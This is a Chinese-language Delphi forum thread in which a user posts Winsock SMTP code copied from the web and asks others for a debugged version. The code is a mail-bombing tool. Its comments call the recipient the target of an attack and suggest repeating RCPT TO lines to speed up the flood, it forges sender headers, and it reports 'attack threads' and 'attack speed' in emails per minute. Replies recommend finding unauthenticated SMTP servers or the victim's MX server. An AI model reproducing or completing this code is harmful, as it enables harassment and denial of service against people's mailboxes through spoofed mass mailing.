求正确代码——socket smtp(100分)

  • 主题发起人 主题发起人 未来黑客
  • 开始时间 开始时间

未来黑客

Unregistered / Unconfirmed
GUEST, unregistred user!
我是我从网上找来的:<br>function StartNet(host:string;port:integer):integer;<br>var<br>&nbsp; wsadata:twsadata;<br>&nbsp; fsocket:integer;<br>&nbsp; SockAddrIn:TSockAddrIn;<br>&nbsp; err:integer;<br>begin<br>&nbsp; //为网络连接作好准备(用winsock1.1以上版本)<br>&nbsp; err:=WSAStartup($0101,WSAData);<br>&nbsp; //创建一个客户端套接字(Client Socket,用SOCK_STREAM,即TCP协义)<br>&nbsp; FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);<br>&nbsp; //初始化网络数据<br>&nbsp; SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host));<br>&nbsp; SockAddrIn.sin_family := PF_INET;<br>&nbsp; SockAddrIn.sin_port :=htons(port);<br>&nbsp; //客户端向smtp进行连接<br>&nbsp; repeat<br>&nbsp; err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));<br>&nbsp; until err=0;<br>&nbsp; //<br>&nbsp; Result:=FSocket;<br>end;<br>//以下是网络关闭的过程<br>procedure StopNet(Fsocket:integer);<br>var<br>&nbsp; err:integer;<br>begin<br>&nbsp; //发信结束,关闭客户端套接字(Close Client Socket)<br>&nbsp; err:=closesocket(FSocket);<br>&nbsp; //清除网络参数<br>&nbsp; err:=WSACleanup;<br>end;<br>//下面是个发送数据包的过程<br>function SendData(FSocket:integer;SendStr:string):integer;<br>const<br>&nbsp; MaxSize=1024;<br>var<br>&nbsp; DataBuf:array[0..MaxSize] of char;<br>&nbsp; err:integer;<br>begin<br>&nbsp; //读取网络数据<br>&nbsp; err:=recv(FSocket,DataBuf,MaxSize,0);<br>&nbsp; //将网络数据写入主窗口的标题中,提示用户正在发信过程中<br>&nbsp; //WriteCaption(handle,DataBuf);<br>&nbsp; //向网络发送数据<br>&nbsp; strcopy(DataBuf,pchar(SendStr));<br>&nbsp; err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE);<br>&nbsp; Result:=0;<br>end;<br>//下面是个发信的过程<br>procedure SendMail;<br>var SendBody:string;<br>&nbsp; FSocket:integer;<br>begin<br>&nbsp; repeat<br>&nbsp; &nbsp; //指定smtp主机地址,这里用的是smtp.21cn.com,它的ip为(202.104.32.230)<br>&nbsp; &nbsp; //指定smtp主机的发信端口,默认为25<br>&nbsp; &nbsp; FSocket:=StartNet('202.104.32.230',25);<br>&nbsp; &nbsp; //-------下面是发信过程的各步处理-------<br>&nbsp; &nbsp; //---------------------------------------<br>&nbsp; &nbsp; //第一步:发HELO指令,表示我要开始发信了<br>&nbsp; &nbsp; SendData(FSocket,'HELO'+CRLF);<br>&nbsp; &nbsp; //第二步:发MAIL FROM指令,表示发信人的信箱<br>&nbsp; &nbsp; // &nbsp; 注意现在很多SMTP主机有只能允许本地合法用户发信<br>&nbsp; &nbsp; // &nbsp; 所以发信者的信箱在发信主机中应是一个合法用户<br>&nbsp; &nbsp; // &nbsp; 否则无法发信,比如hack001便是smtp.21cn.com中的一个合法用户<br>&nbsp; &nbsp; SendData(FSocket,'MAIL FROM: &lt;hack001@21cn.com&gt;'+CRLF);<br>&nbsp; &nbsp; //第三步:发RCPT TO指令,表示目标用户的邮箱,就是你要攻击者的邮箱<br>&nbsp; &nbsp; // &nbsp; 这一步可以用多个RCPT TO命令指向同一个目标,可以极大的加快攻击速度<br>&nbsp; &nbsp; // &nbsp; 但对163.net好象不行,他加了过滤机制<br>&nbsp; &nbsp; SendData(FSocket,'RCPT TO: &lt;'+dest+'&gt;'+CRLF);<br>&nbsp; &nbsp; //第四步:发DATA指令,表示要向SMTP主机发数据<br>&nbsp; &nbsp; SendData(FSocket,'DATA'+CRLF);<br>&nbsp; &nbsp; //第五步:发具体数据,包括如下内容(信封和信体):<br>&nbsp; &nbsp; // &nbsp; &nbsp; &nbsp;From:表示发信者的地址,可以是假的用户(可以随机产生),后面以CRLF(即回车换行符)结束<br>&nbsp; &nbsp; // &nbsp; &nbsp; &nbsp;TO:表示收信者的地址,可以是假的用户(可以随机产生),后面以CRLF结束<br>&nbsp; &nbsp; // &nbsp; &nbsp; &nbsp;Subject:表示邮件主题,后面以CRLF结束<br>&nbsp; &nbsp; // &nbsp; &nbsp; &nbsp;后面一定要再加一个CRLF,表示信封部分结束了<br>&nbsp; &nbsp; // &nbsp; &nbsp; &nbsp;接下来是信的主体内容,可以是任何内容,后面以CRLF结束<br>&nbsp; &nbsp; // &nbsp; &nbsp; &nbsp;然后一定要再加一个.符号,表示信体结束,后面以CRLF结束<br>&nbsp; &nbsp; SendBody:='From:"bome 2001"&lt;bome@hacker.com&gt;'+CRLF<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+'To:"bome 2001"&lt;bome@hacker.com&gt;'+CRLF<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+'Subject:New Bome 2001.'+CRLF<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+CRLF<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+'Hello World.'+CRLF<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+'.'+CRLF;<br>&nbsp; &nbsp; SendData(FSocket,SendBody);<br>&nbsp; &nbsp; //第六步:发结QUIT指令,表示发信过程结束<br>&nbsp; &nbsp; SendData(FSocket,'QUIT'+CRLF);<br>&nbsp; &nbsp; //<br>&nbsp; &nbsp; waitforsingleobject(hMutex,INFINITE);<br>&nbsp; &nbsp; //显示发信过程的剩余邮件数目<br>&nbsp; &nbsp; WriteCaption(hLabelInfo,pchar('送出 '+inttostr(mcount)+' 封邮件 / '+'还有 '+inttostr(count)+' 封邮件 '+CRLF+<br>&nbsp; &nbsp; '正在使用: '+inttostr(num)+' 个攻击线程'+CRLF+<br>&nbsp; &nbsp; '经过时间: '+inttostr(newtime div 1000)+' 秒'));<br>&nbsp; &nbsp; //总次数减一<br>&nbsp; &nbsp; Dec(count);<br>&nbsp; &nbsp; //调用发信过程,进行发信<br>&nbsp; &nbsp; newtime:=integer(gettickcount())-oldtime;<br>&nbsp; &nbsp; speed:=mcount*1000*60 div newtime;<br>&nbsp; &nbsp; WriteCaption(handle,pchar('攻击速度: '+inttostr(speed)+' 封/分钟'));<br>&nbsp; &nbsp; inc(mcount);<br>&nbsp; &nbsp; //sleep(300);<br>&nbsp; &nbsp; if count&lt;=0 then break;<br>&nbsp; &nbsp; releasemutex(hMutex);<br>&nbsp; &nbsp; //<br>&nbsp; &nbsp; StopNet(Fsocket);<br>&nbsp; until count&lt;=0;<br>end;<br><br>我用D7,用API写了一小程序,想加入一个发信的功能,不用控件。<br>可上边的代码,我怎么用也发不出去。<br>我向您求一调试过的原码。100分不够,我在加。<br><br>我要详细的代码,谢谢,支持者另加分。!!!!!!!!!<br><br>可以发到我信箱,最好贴在这了。welcome20022@163.com<br><br>先谢谢。
 
请帮帮我!
 
自己向上顶
 
自己找正确的匿名的SMTP服务器就可以了
 
楼上朋友,你说己找正确的匿名的SMTP服务器就可以了 &nbsp;。。<br><br>是说不用身份验证,还是说不用用户名和密码?<br><br>我希望有朋友对上面代码加以点评。<br><br>如果朋友们认为分不够,我还有600分,可全加上。<br>我要的是运行过的正确的代码。
 
你要换成自己的邮箱和密码
 
楼上朋友,我是用了我的正确邮箱呀,<br>可哪有密码什么的?<br>我想作成象:win2000 SMTP _Server<br>哪样的呀。<br><br>不要用户名不要密码就可发信。<br><br>要不,哪位朋友讲一下win2000 smtp 发信的原理也行!<br><br>
 
找不用身份验证的SMTP服务器<br>或者自己查找邮箱对应的MX服务器
 
100分又白花了。。。。。。。。。
 

Similar threads

D
回复
0
查看
2K
DelphiTeacher的专栏
D
S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
D
回复
0
查看
2K
DelphiTeacher的专栏
D
D
回复
0
查看
1K
DelphiTeacher的专栏
D
后退
顶部